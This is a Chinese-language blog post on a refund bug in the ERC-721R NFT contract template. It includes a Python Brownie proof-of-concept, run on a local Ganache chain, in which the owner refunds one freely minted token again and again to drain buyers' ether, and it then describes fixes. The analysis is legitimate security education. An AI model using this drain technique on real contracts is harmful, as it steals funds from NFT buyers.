為了改善 NFT 詐騙亂象,Exodia 創辦人 Elie Steinbock 等人提出了新的 ERC-721 合約實現方法,讓鑄幣者在一定的時間內,可以退回鑄造的 NFT 並拿回資金。但其中退款的 bug 卻導致整份合約失去了當初的立意。身為工程師不能光說無憑,實際來測試看看!

什麼是 ERC-721R?

正確來說,ERC-721R 並不是以太坊提出的新代幣標準,而是在符合 ERC-721 所需介面下,含有退款功能的合約實現。

如果有用 openzeppelin library 寫過 contract 經驗的人會知道,其中有提供各式各樣以 ERC-721 標準下去實現的合約,如 ERC721URIStorageERC721Pausable 等等。ERC-721R 的層級類似這種,只是提供一個樣板,讓開發人員可以直接繼承來實作,減少開發的時間。

ERC-721R 提供了什麼新功能?

ERC-721R 提供了以下主要功能:

  1. 提供鑑賞期:在指定的時間內,鑄造者可以退回 NFT 並取得退款
  2. 提供退款:如 1. ,鑄造者退回的 NFT 預設會轉到 contract owner 的帳號下。退款則會從合約餘額中扣除,並轉回鑄造者的帳號
  3. 項目方領款限制:鑑賞期結束後才可領款

同時也提供其他基本功能:

  1. 白名單鑄造
  2. 合約擁有者可以免費鑄造
  3. 合約擁有者可以調整鑑賞期 deadline
  4. 因繼承 ERC-721A,具有節省 gas 的能力,並且可以一次鑄造多個 NFT

ERC-721R 的 Bug 在哪裏?

問題就發生在 ERC-721R 提供的 refund method

我們來看在 commit 5801f4esource code

function refund(uint256[] calldata tokenIds) external {
	require(isRefundGuaranteeActive(), "Refund expired");

	for (uint256 i = 0; i < tokenIds.length; i++) {
		uint256 tokenId = tokenIds[i];
		require(msg.sender == ownerOf(tokenId), "Not token owner");
		transferFrom(msg.sender, refundAddress, tokenId);
	}

	uint256 refundAmount = tokenIds.length * mintPrice;
	Address.sendValue(payable(msg.sender), refundAmount);
}

他負責以下職責:

  1. 檢查是否還在退款期限內,若非則 revert
  2. 迭代傳進來需要退款的 NFT tokenId,確認 sender 是該 NFT 的擁有者後,將 NFT 轉移到 refundAddress
  3. 計算所需退款總額,發送給 sender

其中 refundAddress 初始化在 constructor

constructor() ERC721A("ERC721RExample", "ERC721R") {
	refundAddress = msg.sender;
	toggleRefundCountdown();
}

這會有什麼問題呢?主要出在 refund 的第二步,他只有確認退款者是 NFT 擁有者,但沒有確認退款者 address 和 refundAddress 是否一樣

如果 msg.senderrefundAddress 一樣,跑完 transferFrom 後 NFT 還是在 msg.sender 身上,但他卻可以領到退款!而且退款可以重複操作,直到 contract 的 balance 歸零為止!

同時 contract 也提供 contract owner 後續再設置 refundAddress 的 method

function setRefundAddress(address _refundAddress) external onlyOwner {
	refundAddress = _refundAddress;
}

也就是說,contract owner 也可以透過此 method 更換 refundAddress,用另一個 account 把錢撈走。

contract 甚至提供 ownerMint 的方法

function ownerMint(uint256 quantity) external onlyOwner {
	require(
		amountMinted + quantity <= maxMintSupply,
		"Max mint supply reached"
	);
	_safeMint(msg.sender, quantity);
}

惡意項目方可能連一個 NFT 的鑄造費都不用付,直接 ownerMint 後無限 refund 就能掏空 contract 中的 ether。

或者只要有任一鑄造者退款,項目方也能使用退到手上的 NFT 開始無限 refund

實際 coding 破解 ERC-721R

我們用 Brownie 框架簡單寫一個 python script 在 local 實驗上述的觀察。

延伸閱讀:如何以 Python Brownie 開發 DeFi 應用?- 環境準備

透過呼叫 demo_rug_pull 函數,做了以下事情:

  1. deploy ERC721R 到 Ganache 中
  2. 將合約的 presaleStatuspublicSaleStatus 設為 true,讓他可以做 publicSaleMint
  3. 以 customer 的身份鑄造 5 個 NFT
  4. 以 contract owner 的身份鑄造 1 個 NFT
  5. 印出目前合約中的狀態,包含 owner 和 customer 所擁有的 NFT 數目,以及合約的 ether 餘額
  6. 撈出 address 對其擁有的 tokenId 陣列 map
  7. 用步驟 6 的 map 查詢 contract owner 的 tokenId,做五次重複退款
  8. 印出合約狀態
from brownie import accounts, network, config, ERC721RExample as ERC721R
from web3 import Web3
from time import time
from collections import defaultdict


owner_acct = accounts[0]
customer_acct = accounts[1]


def deploy():
    contract = ERC721R.deploy(
        {"from": owner_acct},
        publish_source=config["networks"][network.show_active()].get("verify"),
    )
    print(f"Contract deployed to {contract.address}\n")


def toggle_sale_status():
    contract = ERC721R[-1]
    tx_1 = contract.togglePresaleStatus({"from": owner_acct})
    tx_2 = contract.togglePublicSaleStatus({"from": owner_acct})
    tx_1.wait(0.1)
    tx_2.wait(0.1)
    presale_active = contract.presaleActive()
    public_sale_active = contract.publicSaleActive()
    print(
        f"toggle finish, presale status: {presale_active}, public sale status: {public_sale_active}\n"
    )


def add_refund_period():
    contract = ERC721R[-1]
    contract.toggleRefundCountdown({"from": owner_acct})
    refund_end_time = contract.refundEndTime()
    print(f"refund end time: {refund_end_time}, now: {time()}")


def customer_mint():
    contract = ERC721R[-1]
    tx = contract.publicSaleMint(5, {"from": customer_acct, "value": "0.5 ether"})
    tx.wait(0.1)
    print("custmer mint successfully\n")


def owner_mint():
    contract = ERC721R[-1]
    tx = contract.ownerMint(1, {"from": owner_acct})
    tx.wait(0.1)
    print("owner mint successfully\n")


def customer_refund(token_id):
    contract = ERC721R[-1]
    tx = contract.refund([token_id], {"from": customer_acct})
    tx.wait(0.1)
    print(f"customer refund token id {token_id} successfully\n")


def owner_refund(token_id):
    contract = ERC721R[-1]
    tx = contract.refund([token_id], {"from": owner_acct})
    tx.wait(0.1)
    print(f"owner refund token id {token_id} successfully\n")


def get_nft_owner_map():
    owner_map = defaultdict(list)
    contract = ERC721R[-1]
    total_supply = contract.totalSupply()

    for i in range(0, total_supply):
        owner_map[contract.ownerOf(i)].append(i)

    return owner_map


def contract_status():
    contract = ERC721R[-1]
    owner_balance = contract.balanceOf(owner_acct)
    customer_balance = contract.balanceOf(customer_acct)
    print(
        f"owner's balance: {owner_balance} NFT\ncustomer's balance: {customer_balance} NFT"
    )

    balance = Web3.fromWei(contract.balance(), "ether")
    print(f"contract balance: {balance} ether")

    total_supply = contract.totalSupply()
    for i in range(0, total_supply):
        print(f"{i} token owner: {contract.ownerOf(i)}")

    print("\n")


def demo_rug_pull():
    deploy()

    toggle_sale_status()

    customer_mint()
    owner_mint()

    contract_status()

    nft_owner_map = get_nft_owner_map()

    for i in range(0, 5):
        owner_refund(nft_owner_map[owner_acct][0])

    contract_status()

實際來看看結果,走到步驟五,印出合約狀態:

owner's balance: 1 NFT
customer's balance: 5 NFT
contract balance: 0.5 ether
0 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
1 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
2 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
3 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
4 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
5 token owner: 0xC553f29a2F6E3C9630dE1fBAd852212348b00632
  1. customer 鑄造五個 NFT ,擁有 tokenId 0 到 4,付了 0.5 ether
  2. contract owner 透過 ownerMint 鑄造一個 tokenId 5,不用付錢
  3. 因此合約餘額為 0.5 ether

接下來 contract owner 做了五次退款後,印出的合約狀態:

owner's balance: 1 NFT
customer's balance: 5 NFT
contract balance: 0 ether
0 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
1 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
2 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
3 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
4 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
5 token owner: 0xC553f29a2F6E3C9630dE1fBAd852212348b00632

tokenId 5 依然在 contract owner 身上,但他成功透過 refund 方法的漏洞,盜走合約餘額 0.5 ether,符合我們先前的討論。

ERC-721R 該怎麼填補漏洞?

填補的方法蠻多,比如說:

  1. refund 方法中禁止 msg.sender == refundAddress
    但這個方案需要同時刪除 setRefundAddress 方法,否則依然可以透過搭配修改 refundAddress,讓同一張 NFT 做多次退款掏空合約餘額
  2. refund 中限制一張 NFT 只能退款一次
    可以解決問題,但退款過的 NFT 若是透過二手市場售出,就再也不能退款,買家較難直接分辨,需要額外的溝通

ERC-721R 項目方後續修正採用法二,但實際應用上還是要看項目方的應用情境,選擇用哪一種方式來避免 Rug Pull

ERC-721R 的其他潛在問題

最後以個人的觀點討論一下 ERC-721R 的其他面向。

違反區塊鏈不可變更的精神?

社群中有人認為 ERC-721R 提供退款機制違反了區塊鏈不可變更的精神,我個人是不這麼認為。

所謂區塊鏈不可變更,意思是指一但 block 寫入後,該 block 就不能再被修改。

以退款為例,他做的事情其實跟買賣 NFT 一樣,一樣呼叫 transferFrom 方法轉移所有權,同時將新的所有權資料寫入新的 block,過程中並沒有修改過往的 block。假設這麼做違反精神,那買賣 NFT 也是違反的。

鑑賞期並不是鑄造者實際鑄造後開始計算?

合約中定義的鑑賞期和我們直覺得不一樣,不是鑄造後開始算一段時間,而是設定一個退款 deadline,所有人都一樣。因此如果很靠近 deadline 才鑄造的話,可能沒有足夠的時間讓鑄造者思考並發起退款。

怎麼區別 NFT 項目是否使用有 Bug ERC-721R?

只能自己從 etherscan 去看 NFT 的 smart contract source code。畢竟他只是一種實現方式,並非代幣標準,無法從 NFT 交易平台,如 OpenSea 在 Detail 區域提供的 Token Standard 來判斷。

延伸閱讀:
自己寫 NFT 吧!- 實現 ERC-721 – 以 Python Brownie 開發
自己寫 NFT 吧!- Deploy 到 Ganache – 以 Python Brownie 開發
自己寫 NFT 吧!- 準備 Metadata – 以 Python Brownie 開發
自己寫 NFT 吧!- Deploy 到 Rinkeby testnet – 以 Python Brownie 開發

參考資料:
ERC721R 風險分析
ERC721R 新標準發布!允許用戶在鑄造 NFT 後「期限內反悔退款」;但遭社群打槍
ERC721R 遭爆存在致命 BUG!開發者示警: NFT 項目方可藉此掏空資金

Written by J
雖然大學唸的是生物,但持著興趣與熱情自學,畢業後轉戰硬體工程師,與宅宅工程師們一起過著沒日沒夜的生活,做著台灣最薄的 intel 筆電,要與 macbook air 比拼。 離開後,憑著一股傻勁與朋友創業,再度轉戰軟體工程師,一手扛起前後端、雙平台 app 開發,過程中雖跌跌撞撞,卻也累計不少經驗。 可惜不是那 1% 的成功人士,於是加入其他成功人士的新創公司,專職開發後端。沒想到卻在採前人坑的過程中,拓寬了眼界,得到了深層的領悟。